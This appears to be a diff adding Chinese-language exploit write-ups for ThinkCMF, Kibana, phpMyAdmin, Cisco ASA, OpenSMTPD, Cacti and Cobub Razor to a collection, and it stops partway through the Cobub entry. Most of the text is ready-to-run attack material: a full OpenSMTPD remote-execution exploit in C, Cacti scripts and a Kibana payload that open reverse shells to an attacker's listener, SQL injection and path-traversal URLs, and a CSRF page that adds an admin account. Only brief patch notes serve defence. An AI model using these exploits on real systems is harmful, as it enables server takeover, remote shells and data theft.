2. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s。
|
||||
|
||||
3. 保存生效(无需重启)。
|
||||
|
||||
二、排查弱口令
|
||||
|
||||
排查 Weblogic 管理后台是否存在弱口令,增强密码强度。
|
||||
|
||||
三、升级补丁
|
||||
|
||||
相关链接
|
||||
|
||||
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
|
||||
@@ -0,0 +1,66 @@
|
||||
## CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行
|
||||
|
||||
# 0x00 环境搭建
|
||||
|
||||
首先去thinkcmf下载5.0的最新版
|
||||
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
|
||||
切换到web根目录下,比如/var/www,然后新建一个目录:ThinkCMF-5.0.190111
|
||||
把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php,将其中的
|
||||
|
||||
```
|
||||
define('CMF_ROOT', __DIR__ . '/../');
|
||||
```
|
||||
|
||||
修改为
|
||||
|
||||
```
|
||||
define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');
|
||||
```
|
||||
|
||||
然后一步步完成安装。
|
||||
参考:https://blog.csdn.net/youaregoo/article/details/82219722
|
||||
|
||||
# 0x01 利用过程:
|
||||
|
||||
后台登录状态下,
|
||||
1、将payload插入数据库并读取然后写入data/conf/route.php文件
|
||||
|
||||
```
|
||||
POST /portal/admin_category/addpost.html
|
||||
parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b
|
||||
```
|
||||
|
||||
2、然后访问:
|
||||
|
||||
```
|
||||
/portal/admin_category/index.html
|
||||
```
|
||||
|
||||
触发
|
||||
|
||||
```
|
||||
include data/conf/route.php
|
||||
```
|
||||
|
||||
操作,执行payload。下图以执行sleep(5)作为演示。
|
||||
|
||||

|
||||
|
||||
## POC
|
||||
|
||||
```raw
|
||||
POST /portal/admin_category/addpost.html HTTP/1.1
|
||||
Host: 192.168.170.209
|
||||
Content-Length: 183
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
|
||||
Connection: close
|
||||
|
||||
parent_id=0&name=111&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2
|
||||
```
|
||||
|
||||
## 测试demo
|
||||
|
||||

|
||||
|
||||
> 来源: https://xz.aliyun.com/t/3997
|
||||
@@ -0,0 +1,14 @@
|
||||
## CVE-2019-7609-kibana<6.6.0未授权远程代码命令执行
|
||||
|
||||
## POC
|
||||
将POC里的反链IP地址换成自己的,然后在目标机器上的 `Timelion` 选项下将以下 `POC` 粘贴进去,然后点击 `Run` 运行:
|
||||
|
||||
```
|
||||
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.20.166/8989 0>&1");process.exit()//')
|
||||
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
|
||||
```
|
||||

|
||||
|
||||
然后自己机器开启监听,再点击 `Canvas` 即可出发漏洞。
|
||||

|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
**0x01 简介**
|
||||
|
||||
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
用户界面SQL执行语句存在可控变量,且未对可控参数进行过滤直接拼接。可造成低权限用户越权执行SQL指令。
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
**前提:已知一个用户名密码**
|
||||
|
||||
phpMyAdmin 4 < 4.9.4
|
||||
|
||||
phpMyAdmin 5 < 5.0.1
|
||||
|
||||
**0x04 漏洞复现**
|
||||
|
||||
简单总结流程:
|
||||
|
||||
页面位置server_privileges.php;
|
||||
|
||||
设置变量ajax_requests为true;
|
||||
|
||||
设置变量validate_username 为真值;
|
||||
|
||||
设置变量username 为我们拼接的注入语句。
|
||||
|
||||
|
||||
|
||||
构造payload:
|
||||
|
||||
-
|
||||
|
||||
```
|
||||
http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
|
||||
```
|
||||
|
||||
|
||||
|
||||
(token和其余参数会在访问页面的时候自动提供)
|
||||
|
||||
我们查看后端收到的数据,可以看到SQL已经成功拼接。
|
||||
|
||||

|
||||
|
||||
执行完毕后程序只会告知SQL是否执行成功,失败会报错,因此此处我们可以利用报错注入。
|
||||
|
||||
构造payload:
|
||||
|
||||
-
|
||||
|
||||
```
|
||||
http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
|
||||
```
|
||||
|
||||
结果如下,可以看到已经成功执行了我们注入的指令。
|
||||
|
||||

|
||||
|
||||
**0x05 漏洞分析**
|
||||
|
||||
定位到文件libraries/server_privileges.lib.php,此处就是SQL注入存在点,username和validate_username都可控,我们往上回溯定位if所在的函数。
|
||||
|
||||

|
||||
|
||||
可以看到if处于PMA_getExtraDataForAjaxBehavior函数内。下一步使用phpsotorm快捷键ctrl+B定位到触发此函数的点。
|
||||
|
||||

|
||||
|
||||
跳转到文件server_privileges.php可以看到$extra_data触发了此函数,处于一个if内,下一步快捷键ctrl+shift+F全局搜索变量is_ajax_request,看看是否可控让其为真值。
|
||||
|
||||

|
||||
|
||||
跳转到文件libraries/common.inc.php这里有可控变量ajax_request只要给它附true就可以返回true了。
|
||||
|
||||

|
||||
|
||||
**0x06 修复方式**
|
||||
|
||||
更新官方最新补丁
|
||||
|
||||
**参考链接:**
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2020-5504
|
||||
|
||||
https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/tree/master/phpMyadmin/CVE-2020-0554
|
||||
@@ -0,0 +1,23 @@
|
||||
CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞
|
||||
|
||||
POC:one:
|
||||
|
||||
```
|
||||
For example to read "/+CSCOE+/portal_inc.lua" file. https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
|
||||
```
|
||||
|
||||
|
||||
|
||||
漏洞复现情况如下:
|
||||
|
||||

|
||||
|
||||
POC:two:
|
||||
|
||||
```
|
||||
https://<domain>/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
|
||||
```
|
||||
|
||||
漏洞复现情况如下:
|
||||
|
||||

|
||||
@@ -0,0 +1,492 @@
|
||||
## CVE-2020-8794: OpenSMTPD 远程命令执行漏洞通告
|
||||
|
||||
## 0x00 漏洞背景
|
||||
|
||||
2020年03月02日, 360CERT监测发现国外 `qualys` 研究团队已经公布 `OpenSMTPD` 的一枚远程命令执行漏洞的漏洞细节,漏洞编号为 `CVE-2020-8794`,影响 `6.6.4` 及之前的版本。
|
||||
|
||||
该漏洞是一个越界读漏洞,在 2015年12月被引入 (commit id `80c6a60c`)。
|
||||
|
||||
与上一个漏洞 `CVE-2020-7247` 相比,`CVE-2020-8794`产生了更为广泛的影响版本,攻击方式更为复杂。
|
||||
|
||||
该漏洞在默认安装 `OpenSMTPD` 情况下,即可攻击成功并执行任意命令。
|
||||
|
||||
## 0x01 风险等级
|
||||
|
||||
360CERT对该漏洞进行评定
|
||||
|
||||
| 评定方式 | 等级 |
|
||||
| :------: | :--: |
|
||||
| 威胁等级 | 高危 |
|
||||
| 影响面 | 一般 |
|
||||
|
||||
360CERT建议广大用户及时更新`OpenSMTPD`。做好资产 自查/自检/预防 工作,以免遭受攻击。
|
||||
|
||||
## 0x02 影响版本
|
||||
|
||||
OpenSMTPD <= 6.6.4
|
||||
|
||||
## 0x03 修复建议
|
||||
|
||||
最新版本为 `6.6.4p1`。
|
||||
|
||||
Debain 用户可以通过 `apt` 包管理器升级 `OpenSMTPD`
|
||||
|
||||
stretch 6.0.2p1-2+deb9u3
|
||||
|
||||
buster 6.0.3p1-5+deb10u4
|
||||
|
||||
## 0x4 漏洞利用EXP:
|
||||
|
||||
```c
|
||||
/*
|
||||
* LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
|
||||
* Copyright (C) 2020 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netdb.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static enum {
|
||||
CLIENT_SIDE_EXPLOIT,
|
||||
SERVER_SIDE_EXPLOIT,
|
||||
} exploit = CLIENT_SIDE_EXPLOIT;
|
||||
|
||||
static enum {
|
||||
NEW_SMTPD_GRAMMAR,
|
||||
OLD_SMTPD_GRAMMAR,
|
||||
} grammar = NEW_SMTPD_GRAMMAR;
|
||||
|
||||
static struct {
|
||||
const char * command;
|
||||
const char * user;
|
||||
const char * dispatcher;
|
||||
const char * maildir;
|
||||
char lines[512];
|
||||
} inject = {
|
||||
.command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
|
||||
.user = "root",
|
||||
.dispatcher = "local_mail",
|
||||
.maildir = NULL,
|
||||
};
|
||||
|
||||
#define die() do { \
|
||||
printf("died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static struct addrinfo *
|
||||
common_getaddrinfo(const char * const host, const char * const port)
|
||||
{
|
||||
const struct addrinfo hints = {
|
||||
.ai_family = AF_INET,
|
||||
.ai_socktype = SOCK_STREAM,
|
||||
.ai_protocol = IPPROTO_TCP,
|
||||
.ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
|
||||
};
|
||||
struct addrinfo * addr = NULL;
|
||||
if (getaddrinfo(host, port, &hints, &addr) != 0) die();
|
||||
if (addr == NULL || addr->ai_next != NULL) die();
|
||||
return addr;
|
||||
}
|
||||
|
||||
static const char *
|
||||
common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
|
||||
{
|
||||
static char host[NI_MAXHOST];
|
||||
static char port[NI_MAXSERV];
|
||||
if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
|
||||
NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();
|
||||
|
||||
static char host_port[NI_MAXHOST + NI_MAXSERV];
|
||||
if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die();
|
||||
return host_port;
|
||||
}
|
||||
|
||||
static void
|
||||
common_send(const int fd, const char * const format, va_list ap)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
static char buf[1024];
|
||||
const int len = vsnprintf(buf, sizeof(buf), format, ap);
|
||||
if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
|
||||
printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : "");
|
||||
|
||||
const char * data = buf;
|
||||
size_t size = len;
|
||||
|
||||
for (;;) {
|
||||
const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
|
||||
if (sent <= 0) die();
|
||||
if ((size_t)sent > size) die();
|
||||
data += sent;
|
||||
size -= sent;
|
||||
if (size <= 0) return;
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
static int listen_fd = -1;
|
||||
|
||||
static void
|
||||
server_listen(void)
|
||||
{
|
||||
if (listen_fd != -1) die();
|
||||
const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25");
|
||||
listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
|
||||
if (listen_fd <= -1) die();
|
||||
|
||||
const int on = 1;
|
||||
if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die();
|
||||
if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
|
||||
if (listen(listen_fd, 10) != 0) die();
|
||||
|
||||
printf("\nListening on %s\n",
|
||||
common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
|
||||
}
|
||||
|
||||
static int server_fd = -1;
|
||||
|
||||
static void
|
||||
server_accept(void)
|
||||
{
|
||||
struct sockaddr addr;
|
||||
socklen_t addr_len = sizeof(addr);
|
||||
|
||||
if (listen_fd <= -1) die();
|
||||
if (server_fd != -1) die();
|
||||
server_fd = accept(listen_fd, &addr, &addr_len);
|
||||
if (server_fd <= -1) die();
|
||||
if (addr_len > sizeof(addr)) die();
|
||||
|
||||
const time_t now = time(NULL);
|
||||
printf("\nConnection from %s\n%s",
|
||||
common_getnameinfo(&addr, addr_len), ctime(&now));
|
||||
|
||||
const int on = 1;
|
||||
if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
server_send(const char * const format, ...)
|
||||
{
|
||||
if (server_fd <= -1) die();
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
common_send(server_fd, format, ap);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
static char server_command[1024];
|
||||
|
||||
static void
|
||||
server_recv(const char * const prefix)
|
||||
{
|
||||
if (server_fd <= -1) die();
|
||||
const size_t prefix_len = strlen(prefix);
|
||||
if (prefix_len < 4) die();
|
||||
|
||||
char * data = server_command;
|
||||
size_t size = sizeof(server_command);
|
||||
|
||||
for (;;) {
|
||||
const ssize_t rcvd = recv(server_fd, data, size, 0);
|
||||
if (rcvd <= 0) die();
|
||||
if ((size_t)rcvd >= size) die();
|
||||
data += rcvd;
|
||||
size -= rcvd;
|
||||
data[0] = '\0';
|
||||
if (data[-1] != '\n') continue;
|
||||
if (strchr(server_command, '\n') != data - 1) die();
|
||||
|
||||
printf("<-- %s", server_command);
|
||||
if (strncmp(server_command, prefix, prefix_len) != 0) die();
|
||||
return;
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
static void
|
||||
server_close(void)
|
||||
{
|
||||
if (server_fd <= -1) die();
|
||||
if (close(server_fd) != 0) die();
|
||||
server_fd = -1;
|
||||
}
|
||||
|
||||
static void
|
||||
server_session(const char * const inject_lines)
|
||||
{
|
||||
const char * const error_code =
|
||||
(exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";
|
||||
|
||||
server_accept();
|
||||
server_send("220 ent.of.line ESMTP\n");
|
||||
|
||||
server_recv("EHLO ");
|
||||
server_send("250 ent.of.line Hello\n");
|
||||
|
||||
server_recv("MAIL FROM:<");
|
||||
if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
|
||||
(exploit == SERVER_SIDE_EXPLOIT)) die();
|
||||
|
||||
if (inject_lines != NULL) {
|
||||
if (inject_lines[0] == '\0') die();
|
||||
if (inject_lines[0] == '\n') die();
|
||||
if (inject_lines[strlen(inject_lines)-1] == '\n') die();
|
||||
|
||||
server_send("%s-Error\n", error_code);
|
||||
server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0');
|
||||
|
||||
} else {
|
||||
server_send("%s Error\n", error_code);
|
||||
|
||||
server_recv("RSET");
|
||||
server_send("250 Reset\n");
|
||||
|
||||
server_recv("QUIT");
|
||||
server_send("221 Bye\n");
|
||||
}
|
||||
server_close();
|
||||
}
|
||||
|
||||
static const struct addrinfo * client_target = NULL;
|
||||
static const char * client_mail = NULL;
|
||||
static const char * client_rcpt = NULL;
|
||||
|
||||
static int client_fd = -1;
|
||||
|
||||
static void
|
||||
client_connect(void)
|
||||
{
|
||||
if (client_fd != -1) die();
|
||||
client_fd = socket(client_target->ai_family, client_target->ai_socktype,
|
||||
client_target->ai_protocol);
|
||||
if (client_fd <= -1) die();
|
||||
|
||||
if (connect(client_fd, client_target->ai_addr,
|
||||
client_target->ai_addrlen) != 0) die();
|
||||
|
||||
printf("\nConnected to %s\n",
|
||||
common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen));
|
||||
}
|
||||
|
||||
static void
|
||||
client_send(const char * const format, ...)
|
||||
{
|
||||
if (client_fd <= -1) die();
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
common_send(client_fd, format, ap);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
static char client_reply[1024];
|
||||
|
||||
static void
|
||||
client_recv(const char * const prefix)
|
||||
{
|
||||
if (client_fd <= -1) die();
|
||||
const size_t prefix_len = strlen(prefix);
|
||||
if (prefix_len < 3) die();
|
||||
|
||||
char * data = client_reply;
|
||||
size_t size = sizeof(client_reply);
|
||||
const char * line = data;
|
||||
|
||||
for (;;) {
|
||||
const ssize_t rcvd = recv(client_fd, data, size, 0);
|
||||
if (rcvd <= 0) die();
|
||||
if ((size_t)rcvd >= size) die();
|
||||
data += rcvd;
|
||||
size -= rcvd;
|
||||
data[0] = '\0';
|
||||
if (data[-1] != '\n') continue;
|
||||
|
||||
for (;;) {
|
||||
const char * const new_line = strchr(line, '\n');
|
||||
if (new_line == NULL) break;
|
||||
if (new_line - line < 4) die();
|
||||
printf("<-- %.*s", (int)(new_line - line + 1), line);
|
||||
if (strncmp(line, prefix, prefix_len) != 0) die();
|
||||
|
||||
if (line[3] == ' ') {
|
||||
if (new_line + 1 != data) die();
|
||||
return;
|
||||
}
|
||||
if (line[3] != '-') die();
|
||||
line = new_line + 1;
|
||||
}
|
||||
if (line != data) die();
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
static void
|
||||
client_close(void)
|
||||
{
|
||||
if (client_fd <= -1) die();
|
||||
if (close(client_fd) != 0) die();
|
||||
client_fd = -1;
|
||||
}
|
||||
|
||||
static void
|
||||
client_session(void)
|
||||
{
|
||||
client_connect();
|
||||
client_recv("220 ");
|
||||
|
||||
client_send("HELP\n");
|
||||
client_recv("214");
|
||||
if (strstr(client_reply, "please contact [email protected]") == NULL) die();
|
||||
|
||||
client_send("EHLO ent.of.line\n");
|
||||
client_recv("250");
|
||||
const int dsn = (strstr(client_reply, "250-DSN") != NULL);
|
||||
|
||||
client_send("MAIL FROM:<%s>\n", client_mail);
|
||||
client_recv("250 ");
|
||||
|
||||
client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : "");
|
||||
client_recv("250 ");
|
||||
|
||||
client_send("DATA\n");
|
||||
client_recv("354 Enter mail, end with ");
|
||||
|
||||
if (!dsn) {
|
||||
client_send("Delivered-To: %s\n", client_rcpt);
|
||||
}
|
||||
client_send("\n");
|
||||
client_send(".\n");
|
||||
client_recv("250 ");
|
||||
|
||||
client_send("QUIT\n");
|
||||
client_recv("221 ");
|
||||
client_close();
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char * const * argv)
|
||||
{
|
||||
setlinebuf(stdout);
|
||||
puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)");
|
||||
puts("Copyright (C) 2020 Qualys, Inc.");
|
||||
|
||||
int opt;
|
||||
while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) {
|
||||
switch (opt) {
|
||||
case 'c':
|
||||
inject.command = optarg;
|
||||
break;
|
||||
case 'u':
|
||||
grammar = OLD_SMTPD_GRAMMAR;
|
||||
inject.user = optarg;
|
||||
break;
|
||||
case 'd':
|
||||
inject.dispatcher = optarg;
|
||||
break;
|
||||
case 'm':
|
||||
grammar = OLD_SMTPD_GRAMMAR;
|
||||
inject.maildir = optarg;
|
||||
break;
|
||||
case 'n':
|
||||
grammar = NEW_SMTPD_GRAMMAR;
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
}
|
||||
|
||||
if (grammar == NEW_SMTPD_GRAMMAR) {
|
||||
const int len = snprintf(inject.lines, sizeof(inject.lines),
|
||||
"type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
|
||||
inject.command, inject.dispatcher, inject.user);
|
||||
if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
|
||||
|
||||
} else if (grammar == OLD_SMTPD_GRAMMAR) {
|
||||
const int len = snprintf(inject.lines, sizeof(inject.lines),
|
||||
"type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>",
|
||||
inject.maildir ? inject.maildir : inject.command,
|
||||
inject.maildir ? "maildir" : "mda", inject.user);
|
||||
if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
|
||||
|
||||
} else die();
|
||||
|
||||
argc -= optind;
|
||||
argv += optind;
|
||||
|
||||
if (argc == 3) {
|
||||
exploit = SERVER_SIDE_EXPLOIT;
|
||||
client_target = common_getaddrinfo(argv[0], "25");
|
||||
client_mail = argv[1];
|
||||
client_rcpt = argv[2];
|
||||
|
||||
} else if (argc != 0) die();
|
||||
|
||||
server_listen();
|
||||
if (exploit == CLIENT_SIDE_EXPLOIT) {
|
||||
server_session(inject.lines);
|
||||
|
||||
} else if (exploit == SERVER_SIDE_EXPLOIT) {
|
||||
client_session();
|
||||
unsigned try;
|
||||
for (try = 0; try < 1; try++) {
|
||||
server_session(NULL);
|
||||
puts("\nPlease wait for OpenSMTPD to connect back...");
|
||||
}
|
||||
server_session(inject.lines);
|
||||
client_session();
|
||||
server_session("type:invalid");
|
||||
|
||||
} else die();
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
> 注:EXP来源于:https://www.exploit-db.com/exploits/48140
|
||||
|
||||
## 0x05 参考链接
|
||||
|
||||
1、qualys 报告
|
||||
|
||||
[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install.txt]
|
||||
|
||||
2、qualys 报告细节
|
||||
|
||||
[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install-exploit.c]
|
||||
|
||||
3、CVE-2020-7247: OpenSMTPD 远程命令执行漏洞通告 - 360CERT
|
||||
|
||||
[https://cert.360.cn/warning/detail?id=b03e92c903678dd6497d1be040f761d5]
|
||||
|
||||
4、Releases · OpenSMTPD/OpenSMTPD
|
||||
|
||||
[https://github.com/OpenSMTPD/OpenSMTPD/releases]
|
||||
|
||||
5、Debian -- Security Information -- DSA-4634-1 opensmtpd
|
||||
|
||||
[https://www.debian.org/security/2020/dsa-4634]
|
||||
@@ -0,0 +1,162 @@
|
||||
## Cacti v1.2.8 authenticated Remote Code Execution (CVE-2020-8813)
|
||||
|
||||
## 简介
|
||||
|
||||
> Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。
|
||||
|
||||
## EXP1 需要认证
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Exploit Title: Cacti v1.2.8 Remote Code Execution
|
||||
# Date: 03/02/2020
|
||||
# Exploit Author: Askar (@mohammadaskar2)
|
||||
# CVE: CVE-2020-8813
|
||||
# Vendor Homepage: https://cacti.net/
|
||||
# Version: v1.2.8
|
||||
# Tested on: CentOS 7.3 / PHP 7.1.33
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import warnings
|
||||
from bs4 import BeautifulSoup
|
||||
from urllib.parse import quote
|
||||
|
||||
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
|
||||
|
||||
|
||||
if len(sys.argv) != 6:
|
||||
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
|
||||
exit()
|
||||
|
||||
url = sys.argv[1]
|
||||
username = sys.argv[2]
|
||||
password = sys.argv[3]
|
||||
ip = sys.argv[4]
|
||||
port = sys.argv[5]
|
||||
|
||||
def login(token):
|
||||
login_info = {
|
||||
"login_username": username,
|
||||
"login_password": password,
|
||||
"action": "login",
|
||||
"__csrf_magic": token
|
||||
}
|
||||
login_request = request.post(url+"/index.php", login_info)
|
||||
login_text = login_request.text
|
||||
if "Invalid User Name/Password Please Retype" in login_text:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def enable_guest(token):
|
||||
request_info = {
|
||||
"id": "3",
|
||||
"section25": "on",
|
||||
"section7": "on",
|
||||
"tab": "realms",
|
||||
"save_component_realm_perms": 1,
|
||||
"action": "save",
|
||||
"__csrf_magic": token
|
||||
}
|
||||
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
|
||||
if enable_request:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def send_exploit():
|
||||
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
|
||||
cookies = {'Cacti': quote(payload)}
|
||||
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)
|
||||
|
||||
request = requests.session()
|
||||
print("[+]Retrieving login CSRF token")
|
||||
page = request.get(url+"/index.php")
|
||||
html_content = page.text
|
||||
soup = BeautifulSoup(html_content, "html5lib")
|
||||
token = soup.findAll('input')[0].get("value")
|
||||
if token:
|
||||
print("[+]Token Found : %s" % token)
|
||||
print("[+]Sending creds ..")
|
||||
login_status = login(token)
|
||||
if login_status:
|
||||
print("[+]Successfully LoggedIn")
|
||||
print("[+]Retrieving CSRF token ..")
|
||||
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
|
||||
html_content = page.text
|
||||
soup = BeautifulSoup(html_content, "html5lib")
|
||||
token = soup.findAll('input')[1].get("value")
|
||||
if token:
|
||||
print("[+]Making some noise ..")
|
||||
guest_realtime = enable_guest(token)
|
||||
if guest_realtime:
|
||||
print("[+]Sending malicous request, check your nc ;)")
|
||||
send_exploit()
|
||||
else:
|
||||
print("[-]Error while activating the malicous account")
|
||||
|
||||
else:
|
||||
print("[-] Unable to retrieve CSRF token from admin page!")
|
||||
exit()
|
||||
|
||||
else:
|
||||
print("[-]Cannot Login!")
|
||||
else:
|
||||
print("[-] Unable to retrieve CSRF token!")
|
||||
exit()
|
||||
```
|
||||
|
||||
> Usage:
|
||||
> 
|
||||
|
||||
|
||||
## EXP2 开启来宾实时图查看权限则不需要认证
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
|
||||
# Date: 03/02/2020
|
||||
# Exploit Author: Askar (@mohammadaskar2)
|
||||
# CVE: CVE-2020-8813
|
||||
# Vendor Homepage: https://cacti.net/
|
||||
# Version: v1.2.8
|
||||
# Tested on: CentOS 7.3 / PHP 7.1.33
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import warnings
|
||||
from bs4 import BeautifulSoup
|
||||
from urllib.parse import quote
|
||||
|
||||
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
|
||||
|
||||
|
||||
if len(sys.argv) != 4:
|
||||
print("[~] Usage : ./Cacti-exploit.py url ip port")
|
||||
exit()
|
||||
|
||||
url = sys.argv[1]
|
||||
ip = sys.argv[2]
|
||||
port = sys.argv[3]
|
||||
|
||||
def send_exploit(url):
|
||||
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
|
||||
cookies = {'Cacti': quote(payload)}
|
||||
path = url+"/graph_realtime.php?action=init"
|
||||
req = requests.get(path)
|
||||
if req.status_code == 200 and "poller_realtime.php" in req.text:
|
||||
print("[+] File Found and Guest is enabled!")
|
||||
print("[+] Sending malicous request, check your nc ;)")
|
||||
requests.get(path, cookies=cookies)
|
||||
else:
|
||||
print("[+] Error while requesting the file!")
|
||||
|
||||
send_exploit(url)
|
||||
```
|
||||
> Usage:
|
||||
> 
|
||||
|
||||
## 详细分析以及来源:https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/
|
||||
@@ -0,0 +1,28 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Cobub Razor 0.7.2存在跨站请求伪造漏洞|2018-03-06|Kyhvedn(yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn)|[http://www.cobub.com/](http://www.cobub.com/) | [https://github.com/cobub/razor/](https://github.com/cobub/razor/) |0.7.2 | [CVE-2018-7720](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7720)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> Cobub Razor 0.7.2存在跨站请求伪造漏洞,管理员登陆后访问特定页面可增加管理员账号。保存如下利用代码为html页面,打开页面将增加test123/test的管理员账号。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> 利用代码如下:
|
||||
``` html
|
||||
<body>
|
||||
<script>alert(document.cookie)</script>
|
||||
<form action="http://localhost/index.php?/user/createNewUser/" method="POST">
|
||||
<input type="hidden" name="username" value="test123" />
|
||||
<input type="hidden" name="email" value="test@test123.test" />
|
||||
<input type="hidden" name="password" value="test" />
|
||||
<input type="hidden" name="confirm_password" value="test" />
|
||||
<input type="hidden" name="userrole" value="3" />
|
||||
